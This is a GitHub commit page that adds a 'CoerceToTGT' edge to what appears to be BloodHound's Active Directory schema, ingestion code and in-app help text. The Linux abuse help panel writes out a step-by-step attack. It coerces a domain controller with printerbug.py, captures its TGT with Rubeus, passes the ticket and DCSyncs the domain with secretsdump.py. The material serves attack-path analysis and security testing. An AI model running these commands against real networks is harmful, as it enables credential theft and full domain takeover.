Skip to content

Commit

Permalink
feat: CoerceToTGT edge
Browse files Browse the repository at this point in the history
  • Loading branch information
JonasBK committed Oct 14, 2024
1 parent dac0bbb commit 233a320
Show file tree
Hide file tree
Showing 13 changed files with 455 additions and 4 deletions.
7 changes: 7 additions & 0 deletions packages/cue/bh/ad/ad.cue
Original file line number Diff line number Diff line change
Expand Up @@ -1018,6 +1018,11 @@ AllowedToDelegate: types.#Kind & {
schema: "active_directory"
}

CoerceToTGT: types.#Kind & {
symbol: "CoerceToTGT"
schema: "active_directory"
}

GetChanges: types.#Kind & {
symbol: "GetChanges"
schema: "active_directory"
Expand Down Expand Up @@ -1308,6 +1313,7 @@ RelationshipKinds: [
Contains,
GPLink,
AllowedToDelegate,
CoerceToTGT,
GetChanges,
GetChangesAll,
GetChangesInFilteredSet,
Expand Down Expand Up @@ -1411,6 +1417,7 @@ PathfindingRelationships: [
Contains,
GPLink,
AllowedToDelegate,
CoerceToTGT,
TrustedBy,
AllowedToAct,
AdminTo,
Expand Down
2 changes: 1 addition & 1 deletion packages/go/cypher/test/cases/positive_tests.json
Original file line number Diff line number Diff line change
Expand Up @@ -709,7 +709,7 @@
"name": "Find Dangerous Privileges for Domain Users Groups",
"type": "string_match",
"details": {
"query": "match p = (m:Group)-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|Contains|GPLink|AllowedToDelegate|TrustedBy|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|DCFor|SyncedToEntraUser]->(n:Base) where m.objectid ends with '-513' return p",
"query": "match p = (m:Group)-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|Contains|GPLink|AllowedToDelegate|CoerceToTGT|TrustedBy|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|DCFor|SyncedToEntraUser]->(n:Base) where m.objectid ends with '-513' return p",
"complexity": 3
}
},
Expand Down
46 changes: 45 additions & 1 deletion packages/go/ein/ad.go
Original file line number Diff line number Diff line change
Expand Up @@ -235,6 +235,28 @@ func ParseUserMiscData(user User) []IngestibleRelationship {
))
}

// CoerceToTGT / unconstrained delegation
uncondel, bool := user.Properties[strings.ToLower(ad.UnconstrainedDelegation.String())].(bool)
if bool && uncondel {
domainsid, str := user.Properties[strings.ToLower(ad.DomainSID.String())].(string)
if str {
data = append(data, NewIngestibleRelationship(
IngestibleSource{
Source: user.ObjectIdentifier,
SourceType: ad.User,
},
IngestibleTarget{
Target: domainsid,
TargetType: ad.Domain,
},
IngestibleRel{
RelProps: map[string]any{"isacl": false},
RelType: ad.CoerceToTGT,
},
))
}
}

return data
}

Expand Down Expand Up @@ -341,7 +363,7 @@ func ParseDomainTrusts(domain Domain) ParsedDomainTrustData {
return parsedData
}

// ParseComputerMiscData parses AllowedToDelegate, AllowedToAct, HasSIDHistory,DumpSMSAPassword,DCFor and Sessions
// ParseComputerMiscData parses AllowedToDelegate, AllowedToAct, HasSIDHistory, DumpSMSAPassword, DCFor, Sessions, and CoerceToTGT
func ParseComputerMiscData(computer Computer) []IngestibleRelationship {
relationships := make([]IngestibleRelationship, 0)
for _, target := range computer.AllowedToDelegate {
Expand Down Expand Up @@ -484,6 +506,28 @@ func ParseComputerMiscData(computer Computer) []IngestibleRelationship {
RelType: ad.DCFor,
},
))
} else { // We do not want CoerceToTGT edges from DCs
uncondel, bool := computer.Properties[strings.ToLower(ad.UnconstrainedDelegation.String())].(bool)
if bool && uncondel {
domainsid, str := computer.Properties[strings.ToLower(ad.DomainSID.String())].(string)
if str {
relationships = append(relationships, NewIngestibleRelationship(
IngestibleSource{
Source: computer.ObjectIdentifier,
SourceType: ad.Computer,
},
IngestibleTarget{
Target: domainsid,
TargetType: ad.Domain,
},
IngestibleRel{
RelProps: map[string]any{"isacl": false},
RelType: ad.CoerceToTGT,
},
))
}
}

}

return relationships
Expand Down
5 changes: 3 additions & 2 deletions packages/go/graphschema/ad/ad.go

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
// Copyright 2023 Specter Ops, Inc.
//
// Licensed under the Apache License, Version 2.0
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// SPDX-License-Identifier: Apache-2.0

import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';

const CoerceToTGT = {
general: General,
windowsAbuse: WindowsAbuse,
linuxAbuse: LinuxAbuse,
opsec: Opsec,
references: References,
};

export default CoerceToTGT;
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
// Copyright 2023 Specter Ops, Inc.
//
// Licensed under the Apache License, Version 2.0
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// SPDX-License-Identifier: Apache-2.0

import { FC } from 'react';
import { typeFormat } from '../utils';
import { EdgeInfoProps } from '../index';
import { Typography } from '@mui/material';

const General: FC<EdgeInfoProps> = ({ sourceName, sourceType }) => {
return (
<>
<Typography variant='body2'>
The {typeFormat(sourceType)} {sourceName} is configured with Kerberos unconstrained delegation.
</Typography>

<Typography variant='body2'>
Users and computers authenticating against {sourceName} will have their Kerberos TGT sent to{' '}
{sourceName}, unless they are marked as sensitive or members of Protected Users.
</Typography>

<Typography variant='body2'>
An attacker with control over {sourceName} can coerce a Tier Zero computer (e.g. DC) to authenticate
against {sourceName} and obtain the target's TGT. With the TGT of a DC, the attacker can perform DCSync
to compromise the domain. Alternatively, the TGT can be used to obtain admin access to the target host
using Kerberos S4U2Self.
</Typography>
</>
);
};

export default General;
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@
// Copyright 2023 Specter Ops, Inc.
//
// Licensed under the Apache License, Version 2.0
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// SPDX-License-Identifier: Apache-2.0

import { FC } from 'react';
import { Typography } from '@mui/material';
import { EdgeInfoProps } from '../index';
import CodeController from '../CodeController/CodeController';

const LinuxAbuse: FC<EdgeInfoProps> = ({ sourceName, sourceType }) => {
const intro = (
<>
<Typography variant='body2'>
A common way for attackers to abuse unconstrained delegation is for the attacker to coerce a DC using
the printspooler.
</Typography>
<Typography variant='body2'>
The attack will fail if the target is a member of Protected Users or marked as sensitive, as the TGT of
those principals will not be sent to the principal with unconstrained delegation. You can find all the
protected principals with this Cypher query:
</Typography>
<CodeController>
{`MATCH (g:Group)
WHERE g.objectid ENDS WITH "-525"
MATCH (n:Base)
WHERE n.sensitive = TRUE OR (n)-[:MemberOf*..]->(g)
RETURN n
LIMIT 1000`}
</CodeController>
<Typography variant='body2'>
There are many other coercion techniques than printspooler that can be used (see References).
</Typography>
</>
);

if (sourceType == 'Computer') {
return (
<>
{intro}
<Typography variant='body1'>Step 1: Start monitoring for TGTs</Typography>
<Typography variant='body2'>
This step cannot be performed from Linux as we are abusing unconstrained delegation on a given AD
computer, which is likely a Windows computer.
</Typography>
<Typography variant='body2'>
Log in on the {sourceName} computer configured with unconstrained delegation and open CMD as
Administrator.
</Typography>
<Typography variant='body2'>Start monitoring for incoming TGTs using Rubeus:</Typography>
<Typography component={'pre'}>
{'Rubeus.exe request monitor /user:targetdc.domain.local /interval:5 /nowrap'}
</Typography>

<Typography variant='body1'>Step 2: Coerce target DC</Typography>
<Typography variant='body2'>
Coerce the target DC using printerbug.py with the credentials of any AD user:
</Typography>
<Typography component={'pre'}>
{"printerbug.py '<domain>/<username>:<password>'@<target DC IP> <compromised computer IP>"}
</Typography>
<Typography variant='body2'>Rubeus will print the DC TGT as it is received.</Typography>

<Typography variant='body1'>Step 3: Pass the Ticket</Typography>
<Typography variant='body2'>Save the TGT base64 blob as a .kirbi file:</Typography>
<Typography component={'pre'}>
{'echo "doIFvjCCBbqgAwI..." | base64 -d | tee ticket.kirbi > /dev/null'}
</Typography>
<Typography variant='body2'>Convert the TGT to ccache format using ticketConverter.py:</Typography>
<Typography component={'pre'}>{'ticketConverter.py ticket.kirbi ticket.ccache'}</Typography>
<Typography variant='body2'>Set the KRB5CCNAME environment variable to the ticket's path:</Typography>
<Typography component={'pre'}>{'export KRB5CCNAME=$path_to_ticket.ccache'}</Typography>

<Typography variant='body1'>Step 4: DCSync target domain</Typography>
<Typography variant='body2'>Use secretsdump.py to DCSync the target domain:</Typography>
<Typography component={'pre'}>
{'secretsdump.py -k -just-dc-user <DOMAIN/targetuser> <target DC DNS name>'}
</Typography>
</>
);
} else {
return (
<>
{intro}
<Typography variant='body2'>
See 'Abusing Users Configured with Unconstrained Delegation' under References for details on the
execution.
</Typography>
</>
);
}
};

export default LinuxAbuse;
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
// Copyright 2023 Specter Ops, Inc.
//
// Licensed under the Apache License, Version 2.0
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// SPDX-License-Identifier: Apache-2.0

import { FC } from 'react';
import { Typography } from '@mui/material';

const Opsec: FC = () => {
return <Typography variant='body2'>There is no opsec information for this edge.</Typography>;
};

export default Opsec;
Loading

0 comments on commit 233a320

Please sign in to comment.